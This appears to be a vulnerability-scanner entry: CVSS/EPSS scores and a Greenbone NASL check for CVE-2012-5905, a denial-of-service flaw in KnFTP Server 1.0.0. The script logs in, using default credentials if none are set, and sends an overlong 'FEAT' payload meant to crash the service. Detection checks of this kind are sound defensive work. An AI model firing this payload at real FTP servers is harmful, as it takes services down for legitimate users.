4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:N/A:P
6.6 Medium
AI Score
Confidence
High
0.088 Low
EPSS
Percentile
94.6%
KnFTP Server is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902826");
script_version("2023-12-20T05:05:58+0000");
script_cve_id("CVE-2012-5905");
script_tag(name:"cvss_base", value:"4.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
script_tag(name:"creation_date", value:"2012-03-29 16:16:16 +0530 (Thu, 29 Mar 2012)");
script_name("KnFTP Server 'FEAT' Command Remote Denial of Service Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("FTP");
script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
script_require_ports("Services/ftp", 21);
script_mandatory_keys("ftp/ftp_ready_banner/detected");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52805");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18671");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/111296/knftpd-dos.txt");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to crash the
affected application, denying service to legitimate users.");
script_tag(name:"affected", value:"KnFTP Server version 1.0.0.");
script_tag(name:"insight", value:"The flaw is caused by an error when handling 'FEAT' command, which
can be exploited to crash the FTP service by sending specially crafted FTP commands.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"KnFTP Server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(! banner || "220 FTP Server ready." >!< banner){
exit(0);
}
soc = open_sock_tcp(ftpPort);
if(! soc){
exit(0);
}
kb_creds = ftp_get_kb_creds(default_login:"system", default_pass:"secret");
user = kb_creds["login"];
pass = kb_creds["pass"];
login_details = ftp_log_in(socket:soc, user:user, pass:pass);
if(! login_details){
exit(0);
}
exploit = "FEAT " + crap(data:"./A",length:256*3);
ftp_send_cmd(socket:soc, cmd:exploit);
ftp_close(socket:soc);
sleep(3);
soc1 = open_sock_tcp(ftpPort);
if(! soc1)
{
security_message(ftpPort);
exit(0);
}
ftp_close(socket:soc1);